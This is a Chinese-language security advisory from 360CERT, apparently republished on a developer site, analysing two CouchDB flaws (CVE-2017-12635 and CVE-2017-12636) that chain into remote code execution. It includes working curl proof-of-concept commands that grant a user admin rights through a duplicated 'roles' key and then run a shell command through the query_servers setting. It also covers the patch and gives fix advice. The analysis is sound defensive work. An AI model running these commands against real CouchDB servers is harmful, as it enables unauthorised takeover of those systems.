【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

栏目: 数据库 · 发布时间: 6年前

内容简介:0x00 背景Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。
2017-11-16 20:27:28 阅读:276次 来源: 安全客
【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析
作者:360CERT

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

0x00 背景

Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。

在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露,CouchDB被曝存在远程代码执行的问题。其中CVE-2017-12636的任意命令执行早在2016年即被披露, 但并未引起重视。

0x01漏洞概述

CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同,导致语句执行产生差异性导致的。可以被利用于,非管理员用户赋予自身管理员身份权限。

CVE-2017-12636时由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。结合CVE-2017-12635可实现远程代码执行。

0x02 漏洞分析

CVE-2017-12635问题在于Erlang和JavaScript对JSON中重复的键处理方式具有差异性,例如{“a”:”1”,”a”:”2”},

Erlang:

> jiffy:decode("{\"a\":\"1\", \"a\":\"2\"}").

{[{\<\<"a">>,\<\<"1">>},{\<\<"a">>,\<\<"2">>}]}

JavaScript”

> JSON.parse("{\"a\":\"1\", \"a\": \"2\"}")

{a: "2"}

对于给定的键,Eralang解析器将存储两个值,但是JavaScript只存储第二个值。但是在jiffy实现的时候,getter函数只返回第一个值

% Within couch_util:get_value

lists:keysearch(Key, 1, List).

可以构建如下POC:

curl -X PUT -d '{"type":"user","name":"oops","roles":["_admin"],"roles":[],"password":"123456"}' localhost:5984/_users/org.couchdb.user:oops -H "Content-Type:application/json"

除了输入验证脚本之外,几乎所有关于身份验证和授权的重要逻辑都发生在CouchDB的Erlang部分,所以这样可以使当前用户赋予“_admin”身份。

查看jiffy解析器源码,定位到patch:

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

可以发现patch后,加入了dedupe_keys字段用于对重复键的标识,重写了make_object方法,使得jiffy解析JSON的方法和JavaScript一致。

而CVE-2017-12636漏洞在于CouchDB自身的设计问题,CouchDB允许外部通过自身HTTP(S) API对配置文件进行更改,一些配置选项包括操作系统级二进制文件的路径,随后会由CouchDB启动。从这里获取 shell 通常很简单,因为CouchDB其中一个“query_servers“选项,可以自定义二进制文件加载路径,这个功能基本上只是一个包装execv。

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

可以构造简单的POC进行验证:

curl -X PUT 'http://localhost:5984/_config/query_servers/cmd' -d '"/sbin/ifconfig >/tmp/6668"'
curl -X PUT 'http:// localhost:5984/vultest'
curl -X PUT 'http:// localhost:5984/vultest/vul' -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
curl -X POST 'http:// localhost:5984/vultest/_temp_view?limit=11' -d '{"language":"cmd","map":""}' -H 'Content-Type:application/json'

更改query_servers配置,创建个临时表,调用query_servers处理数据。这样便可以执行shell,在规定的/tmp/6668文件中,写入ifconfig信息。

这样配合之前的CVE-2017-12365权限提升漏洞,实现远程代码执行:

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

0x03 全网影响

根据360CERT全网资产检索平台实时显示, 共有4943台CouchDB服务在外网开放,以美国占量为主

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

国内统计以广东,北京占量为主

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

0x04 修复建议

所有用户都应升级到CouchDB 1.7.1或 2.1.1。

配置HTTP API配置参数,针对敏感配置信息加入黑名单。

0x05 时间线

2016年5月 CouchDB未授权访问漏洞被披露

2017年11月15日 CVE-2017-12635,CVE-2017-12636披露

2017年11月15日 360CERT及时跟进分析

2017年11月16日 360CERT发布分析预警

0x06 参考文档

http://docs.couchdb.org/en/2.1.1/config/intro.html

https://lists.apache.org/thread.html/6c405bf3f8358e6314076be9f48c89a2e0ddf00539906291ebdf0c67@%3Cdev.couchdb.apache.org%3E

http://cb.drops.wiki/drops/papers-16030.html

【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析 【漏洞分析】CouchDB漏洞(CVE–2017–12635, CVE–2017–12636)分析

本文由 安全客 原创发布,如需转载请注明来源及本文地址。

本文地址:http://bobao.360.cn/learning/detail/4716.html


以上就是本文的全部内容,希望本文的内容对大家的学习或者工作能带来一定的帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

剑指Offer

剑指Offer

何海涛 / 电子工业出版社 / 2014-6-1 / CNY 55.00

《剑指Offer——名企面试官精讲典型编程题(纪念版)》是为纪念本书英文版全球发行而推出的特殊版本,在原版基础上新增大量本书英文版中的精选题目,系统整理基础知识、代码质量、解题思路、优化效率和综合能力这5个面试要点。全书分为8章,主要包括面试流程:讨论面试每一环节需要注意的问题;面试需要的基础知识:从编程语言、数据结构及算法三方面总结程序员面试知识点;高质量代码:讨论影响代码质量的3个要素(规范性......一起来看看 《剑指Offer》 这本书的介绍吧!

HTML 压缩/解压工具
HTML 压缩/解压工具

在线压缩/解压 HTML 代码

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换